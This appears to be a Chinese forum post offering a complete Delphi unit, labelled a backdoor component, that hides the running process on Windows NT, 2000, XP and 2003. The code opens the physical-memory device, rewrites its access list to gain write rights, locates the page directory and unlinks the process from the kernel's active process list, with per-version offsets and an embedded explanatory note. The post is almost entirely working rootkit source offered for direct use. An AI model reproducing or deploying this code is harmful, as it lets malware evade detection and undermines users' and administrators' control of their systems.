发新话题
打印

HideProcess(后门程序)[delphi版本]

HideProcess(后门程序)[delphi版本]

原本是C的版本,这里贴一个cjt改写的Delphi单元文件:

直接调用HideProcess过程即可
复制内容到剪贴板
代码:
//WIN2000下直接隐藏进程
unit HideProcess;

interface

uses
  Windows, aclapi, Accctrl;


function HideProcess: Bool;

implementation

const
  STATUS_INFO_LENGTH_MISMATCH = $C0000004;
  STATUS_ACCESS_DENIED = $C0000022;

type
  ULONG = DWORD;
  PULONG = ^ULONG;

  USHORT = Word;
//  PWSTR = PWideChar;
  NTSTATUS = ULONG;
  ACCESS_MASK = ULONG;

function AllocMem(Size: Cardinal): Pointer;
begin
  GetMem(Result, Size);
  FillChar(Result^, Size, 0);
end;

procedure MsgBox(Ti:String);
begin
  MessageBox(0,Pchar(Ti),'提示',0);
end;

function NT_SUCCESS(status: integer): Bool;
begin
  Result := status >= 0;
end;
type
  _SYSTEM_INFORMATION_CLASS =
   (
   SystemHandleInformation = 16
   );
  SYSTEM_INFORMATION_CLASS = _SYSTEM_INFORMATION_CLASS;

type
  _SYSTEM_HANDLE_INFORMATION = record
   ProcessId: ULONG;
   ObjectTypeNumber: UCHAR;
   Flags: UCHAR;
   Handle: USHORT;
   _Object: pointer;
   GrantedAccess: ACCESS_MASK;
  end;
  SYSTEM_HANDLE_INFORMATION = _SYSTEM_HANDLE_INFORMATION;
  PSYSTEM_HANDLE_INFORMATION = ^_SYSTEM_HANDLE_INFORMATION;

  TRTLNTSTATUSTODOSERROR = function(Status: NTSTATUS): ULONG; stdcall;
  TZWQUERYSYSTEMINFORMATION = function(SystemInformationClass: SYSTEM_INFORMATION_CLASS; SystemInformation:
Pointer; SystemInformationLength: ULONG; ReturnLength: PULONG): NTSTATUS; stdcall;


var
  RtlNtStatusToDosError: TRTLNTSTATUSTODOSERROR = nil;
  ZwQuerySystemInformation: TZWQUERYSYSTEMINFORMATION = nil;

function GetEprocessFromPid(PID: ULONG): DWORD;
var
  status: NTSTATUS;
  buf: Pointer;
  size: ULONG;
  NumOfHandle: ULONG;
  i: ULONG;
  h_info: PSYSTEM_HANDLE_INFORMATION;
begin
  Result := 0;
  size := 1;
  repeat
   Buf := AllocMem(size);
   if buf = nil then
   begin
     //MsgBox('GetMemory Error!');
     Exit;
   end;
   status := ZwQuerySystemInformation(SystemHandleInformation, buf, size, nil);
   //Form1.Memo1.Lines.Add(Format('$%x',[size]));
   //Form1.Memo1.Lines.Add(Format('$%x',[status]));
   if not NT_SUCCESS(status) then
   begin
     if status = STATUS_INFO_LENGTH_MISMATCH then
     begin
       FreeMemory(Buf);
       Buf := nil;
     end
     else
     begin
       //MsgBox('ZwQuerySystemInformation failed');
       if buf <> nil then
       begin
         FreeMemory(Buf);
         Buf := nil;
       end;
       Exit;
     end;
   end
   else
     Break;
   size := size * 2;
  until false;

  NumOfHandle := PULONG(Buf)^;
//返回到缓冲区的首先是一个ULONG类型的数据,表示有多少数组
//  MsgBox(inttohex(NumOfHandle,0));
  h_info := PSYSTEM_HANDLE_INFORMATION(pchar(Buf) + 4);
  for i := 0 to NumOfHandle - 1 do
  begin
   if h_info^.ProcessId = PID then
     if h_info^.ObjectTypeNumber = 5 then
     begin
//       MsgBox(Format('Handle:%x,OBJECT:%x', [h_info^.Handle, dword(h_info^._Object)]));
       Result := DWORD(h_info^._Object);
       Exit;
     end;
   inc(h_info);
  end;
end;

function LocateNtdllEntry(): Bool;
var
//  ret: Bool;
  NTDLLDLL: Pchar;
  ntdll_dll: HMODULE;
begin
  Result := False;
  NTDLLDLL := 'ntdll.dll';
  ntdll_dll := GetModuleHandle(NTDLLDLL);
  if ntdll_dll = 0 then
  begin
   //MsgBox('GetModuleHandle() failed!');
   Exit;
  end;
  try
   @ZwQuerySystemInformation := GetProcAddress(ntdll_dll, 'ZwQuerySystemInformation');
  except
   //MsgBox('GetProcAddress() failed!');
   FreeModule(ntdll_dll);
   Exit;
  end;
  Result := True;
end;
//======================================================
type
  TNtUnicodeString = packed record
   Length: Word;
   MaximumLength: Word;
   Buffer: PWideChar;
  end;
  PNtUnicodeString = ^TNtUnicodeString;
  UNICODE_STRING = TNtUnicodeString;
  PUNICODE_STRING = ^UNICODE_STRING;

type _OBJECT_ATTRIBUTES = record
   Length: ULONG;
   RootDirectory: THandle;
   ObjectName: PUNICODE_STRING;
   Attributes: ULONG;
   SecurityDescriptor: pointer;
   SecurityQualityOfService: pointer;
  end;
  OBJECT_ATTRIBUTES = _OBJECT_ATTRIBUTES;
  POBJECT_ATTRIBUTES = ^_OBJECT_ATTRIBUTES;

  TZwOpenSection = function(
   sectionHandle: PHANDLE;
   const DesiredAccess: ACCESS_MASK;
   const ObjectAttributes: POBJECT_ATTRIBUTES
   ): NTSTATUS; stdcall;

  TRtlInitUnicodeString = procedure(DestinationString: PUNICODE_String;
   SourceString: PWideChar); stdcall;
var

  RtlInitUnicodeString: TRtlInitUnicodeString;
  ZwOpenSection: TZwOpenSection;
  g_hNtDLL: HMODULE = 0;
  g_pMapPhysicalMemory: Pointer = nil;
  g_hMPM: THandle = 0;

function InitNTDLL(): BOOL;
begin
  Result := False;
  g_hNtDLL := LoadLibrary('ntdll.dll');
  if g_hNtDLL = 0 then Exit;

  RtlInitUnicodeString := GetProcAddress(g_hNtDLL, 'RtlInitUnicodeString');

  ZwOpenSection := GetProcAddress(g_hNtDLL, 'ZwOpenSection');

  Result := True;
end;

procedure CloseNTDLL();
begin
  if (g_hNtDLL <> 0) then FreeLibrary(g_hNtDLL);
end;

procedure SetPhyscialMemorySectionCanBeWrited(hSection: THandle);
var
{  pDaclACL;
  pNewDaclACL;
  pSDPSECURITY_DESCRIPTOR;
  dwResWORD;
  ea:EXPLICIT_ACCESS;
  }
  pDacl: PACL;
  pNewDacl: PACL;
  pSD: PPSECURITY_DESCRIPTOR;
  dwRes: Cardinal;
  ea: EXPLICIT_ACCESS_A;
begin
  pDacl := nil;
  pNewDacl := nil;
  pSD := nil;
  dwres := GetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, nil,
   nil, @pDacl, nil, pSD);

  if dwRes <> ERROR_SUCCESS then
  begin
   if pSD <> nil then LocalFree(Cardinal(pSD));
   if pNewDacl <> nil then LocalFree(Cardinal(pSD));
   Exit;
  end;


  FillChar(ea, SizeOf(EXPLICIT_ACCESS), 0);
  ea.grfAccessPermissions := SECTION_MAP_WRITE;
  ea.grfAccessMode := GRANT_ACCESS;
  ea.grfInheritance := NO_INHERITANCE;
  ea.Trustee.TrusteeForm := TRUSTEE_IS_NAME;
  ea.Trustee.TrusteeType := TRUSTEE_IS_USER;
  ea.Trustee.ptstrName := 'CURRENT_USER';

  dwRes := SetEntriesInAcl(1, @ea, pDacl, pNewDacl);
{ if dwRes<>ERROR_SUCCESS then
  begin
   if pSD<>Nil then  LocalFree(Cardinal(pSD));
   if pNewDacl<>Nil then  LocalFree(Cardinal(pSD));
   Exit;
  end;
  }
  dwRes := SetSecurityInfo(hSection,
   SE_KERNEL_OBJECT,
   DACL_SECURITY_INFORMATION,
   nil, nil, pNewDacl, nil);
  if dwRes <> ERROR_SUCCESS then
  begin
   if pSD <> nil then LocalFree(Cardinal(pSD));
   if pNewDacl <> nil then LocalFree(Cardinal(pSD));
   Exit;
  end;
end;

function OpenPhysicalMemory: THandle;
var
  status: NTSTATUS;
  physmemString: UNICODE_STRING;
  attributes: OBJECT_ATTRIBUTES;
  BaseAddress:pointer;
  start,CR3:ULONG;
begin

  Result := 0;

  RtlInitUnicodeString(@physmemString, '\Device\PhysicalMemory');

  attributes.Length := sizeof(OBJECT_ATTRIBUTES);
  attributes.RootDirectory := 0;
  attributes.ObjectName := @physmemString;
  attributes.Attributes := 0;
  attributes.SecurityDescriptor := nil;
  attributes.SecurityQualityOfService := nil;

  status := ZwOpenSection(@g_hMPM, SECTION_MAP_READ or SECTION_MAP_WRITE, @attributes);

  if (status = STATUS_ACCESS_DENIED) then
  begin
   status := ZwOpenSection(@g_hMPM, READ_CONTROL or WRITE_DAC, @attributes);
   SetPhyscialMemorySectionCanBeWrited(g_hMPM);
   CloseHandle(g_hMPM);
   status := ZwOpenSection(@g_hMPM, SECTION_MAP_READ or SECTION_MAP_WRITE, @attributes);
  end;

  if not (NT_SUCCESS(status)) then Exit;

(*
对于03年那篇断活动链的补充

   信箱里有一大堆邮件是问那时留的“习题”——XP移植问题,想不到现在还有问的。
本来就很简单,而能看懂代码的人做这件事是轻而易举的。但若代码都看不懂,我也不
想提供保姆式的服务。
   网上早有了一些实现,不过注意到大多是利用WebCrazy的代码原理进入ring0的,原
先那篇之所以没使用这个方法,因为我在自己机器使用了/3GB开关,WebCrazy的简单线性
地址转换不可行(不通用),故改用LinearToPhys函数。使用这个函数的关键是获知页目
录的一个可用值,这段代码我略去了(否则觉得像“保姆式服务”),而用了2000上多数
时候为页目录的0x30000这个值。现在把未贴的主要代码贴出来,希望不要再问这个问题
了,熟悉的大虾就不要看了。
   代码很简单,利用页目录的特性进行暴力搜索,内存中的页目录很多,找到第一个就
好。

ULONG CR3;
for (ULONG start=0x10000; start<0x100000; start+=0x1000)
{
   PULONG BaseAddress;
   BaseAddress = (PULONG)MapViewOfFile(hSection,
                             FILE_MAP_READ,
                             0,
                             start,
                             0x1000);
   if(!BaseAddress)
   {
       //error
       ... ...
   }

   if ((BaseAddress[0xc00/4]&0xFFFFFE00) == start)
   {
       CR3 = (ULONG)start;
       break;
   }
   UnmapViewOfFile(BaseAddress);
}

   这段代码就找出了页目录的一个可能值。
   所谓特性就是页目录的物理地址与其页内对应记录的地址是一致的,很容易看出这种
方法有可能失败:内存中在第一个页目录之前的某一页恰好有这个性质,会使得代码找错
对象,这时需要加上一些判断。不过我记得以前的使用中从来没碰到过,概率很小。

*)

CR3:=0;
start:=$30000;
repeat
BaseAddress:=MapViewOfFile(
   g_hMPM,
   FILE_MAP_READ,
   0,
   start,
   $1000);
if BaseAddress=nil then Break;
//PGDE=BaseAddress[VAddr];
//  PGDE := PULONG(ULONG(BaseAddress) + (VAddr) * sizeof(ULONG))^;
if (PULONG(ULONG(BaseAddress) + ($c00 div 4) * sizeof(ULONG))^) and $FFFFFE00=start then
begin
CR3:=start;
//MsgBox(IntToStr(Cr3));
Break;
end;
start:=start+$10000;
until start>=$100000;
UnmapViewOfFile(BaseAddress);



  g_pMapPhysicalMemory := MapViewOfFile(
   g_hMPM,
   4,
   0,
   start,//$30000,
   $1000);
  if (g_pMapPhysicalMemory = nil) then Exit;

  Result := g_hMPM;
end;

function LinearToPhys(BaseAddress: PULONG; addr: Pointer): Pointer;
var
  VAddr, PGDE, PTE, PAddr, tmp: ULONG;
begin
  Result := nil;
  VAddr := ULONG(addr);

  if (VAddr >= $80000000) and (VAddr < $A0000000) then
  begin
   PAddr := VAddr - $80000000;
   Result := @PAddr;
   Exit;
  end;

//PGDE=BaseAddress[VAddr>>22];
  PGDE := PULONG(ULONG(BaseAddress) + (VAddr shr 22) * sizeof(ULONG))^;

  if ((PGDE and 1) <> 0) then
  begin
   tmp := PGDE and $00000080;
   if (tmp <> 0) then
   begin
     PAddr := (PGDE and $FFC00000) + (VAddr and $003FFFFF);
   end
   else
   begin
     PGDE := ULONG(MapViewOfFile(g_hMPM, 4, 0, PGDE and $FFFFF000, $1000));
//疑问  PTE:=((PULONG)PGDE)[(VAddr&0x003FF000)>>12];
     PTE := PULONG(ULONG(PGDE) + ((VAddr and $003FF000) shr 12) * sizeof(ULONG))^;
     if ((PTE and 1) <> 0) then
     begin
       PAddr := (PTE and $FFFFF000) + (VAddr and $00000FFF);
       UnmapViewOfFile(@PGDE);
     end
     else Exit;
   end;
  end
  else Exit;

  Result := @PAddr;
end;

function GetData(addr: Pointer): ULONG;
var
  phys: ULONG;
  tmp: PULONG;
begin
  Result := 0;
  phys := PULONG(LinearToPhys(PULONG(g_pMapPhysicalMemory), addr))^;
  tmp := PULONG(MapViewOfFile(g_hMPM, 4, 0, phys and $FFFFF000, $1000));
  if (tmp = nil) then Exit;
//Result:=tmp[(phys and $FFF) shr 2];
  Result := plongword(dword(tmp) + ((phys and $FFF) shr 2) * sizeof(ULONG))^;
  UnmapViewOfFile(tmp);
end;

function SetData(addr: Pointer; data: ULONG): Bool;
var
  phys: ULONG;
  tmp: PULONG;
begin
  Result := False;
  phys := PULONG(LinearToPhys(PULONG(g_pMapPhysicalMemory), addr))^;
  tmp := PULONG(MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys and $FFFFF000, $1000));
  if (tmp = nil) then Exit;
  //tmp[(phys & 0xFFF)>>2]=data;
  plongword(dword(tmp) + ((phys and $FFF) shr 2) * sizeof(ULONG))^ := data;
  UnmapViewOfFile(tmp);
  Result := TRUE;
end;

function HideProcess: Bool;
var
  f, b: integer;
  osvi: TOSVersionInfo;
  process: ULONG;
  fw: ULONG;
  bw: ULONG;
begin

  Result := False;
  if InitNTDLL then
  begin
   if OpenPhysicalMemory = 0 then Exit;

   osvi.dwOSVersionInfoSize := sizeof(osvi);
   GetVersionEx(osvi);


   if (osvi.dwMajorVersion = 5) then
   begin
     if (osvi.dwMinorVersion = 0) then //win2k
     begin
       f := $A0; b := $A4;
     end
     else if (osvi.dwMinorVersion = 1) then //winxp
     begin
          f := $88; b := $8C;
     end
     else if (osvi.dwMinorVersion = 2) then //win2003
     begin
       f := $8A; b := $8E;
     end
     else Exit;
   end
   else if (osvi.dwMajorVersion = 4) and (osvi.dwMinorVersion = 0) and (osvi.dwPlatformId = 2) then //NT
   begin
     f := $98; b := $9C;
   end
   else Exit;

//  ULONG thread=GetData((PVOID)0xFFDFF124);
//  ULONG process=GetData((PVOID)(thread+0x22c));

   LocateNtdllEntry();
   //打开自身句柄,这样才能在handle列表中找到自己,PROCESS 对应 ObjectTypeNum 为5
   OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());
   process := GetEprocessFromPid(GetCurrentProcessId());
   fw := GetData(pointer(process + f));
   bw := GetData(pointer(process + b));
   SetData(pointer(fw + 4), bw);
   SetData(pointer(bw), fw);

   UnmapViewOfFile(g_pMapPhysicalMemory);
   CloseHandle(g_hMPM);
   CloseNTDLL();
  end;
  Result := True;
end;

end.
妖城欢迎您!

TOP

发新话题